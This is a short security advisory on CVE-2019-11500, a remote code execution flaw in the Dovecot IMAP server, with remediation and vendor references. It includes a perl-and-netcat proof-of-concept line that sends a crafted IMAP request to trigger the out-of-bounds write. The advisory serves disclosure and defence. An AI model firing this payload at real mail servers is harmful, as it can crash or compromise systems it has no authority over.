SB2019082803 - Remote code execution in Dovecot IMAP server
Published: August 28, 2019
Security Bulletin ID
SB2019082803
Severity
High
Patch available
YES
Number of vulnerabilities
1
Exploitation vector
Remote access
Highest impact
Code execution
Breakdown by Severity
- Low
- Medium
- High
- Critical
Description
This security bulletin contains information about 1 security vulnerability.
1) Out-of-bounds write (CVE-ID: CVE-2019-11500)
The vulnerability allows a remote attacker to compromise vulnerable system.
The vulnerability exists due to a boundary error within IMAP and ManageSieve protocol implementation the when scanning data in quoted strings. A remote attacker can send a specially crafted request to the affected server, trigger out-of-bounds write and execute arbitrary code on the target system.
Exploitation example:
perl -e 'print "a id (\"foo\" \"".("x"x1021)."\\A\" \"bar\"
\"\000".("x"x1020)."\\A\")\n"' | nc localhost 143
Remediation
Install update from vendor's website.
References
- https://dovecot.org/pipermail/dovecot-news/2019-August/000418.html
- https://github.com/dovecot/core/commit/85fcb895ca7f0bcb8ee72047fe0e1e78532ff90b
- https://github.com/dovecot/core/commit/f904cbdfec25582bc5e2a7435bf82ff769f2526a
- https://github.com/dovecot/pigeonhole/commit/7ce9990a5e6ba59e89b7fe1c07f574279aed922c
- https://github.com/dovecot/pigeonhole/commit/4a299840cdb51f61f8d1ebc0210b19c40dfbc1cc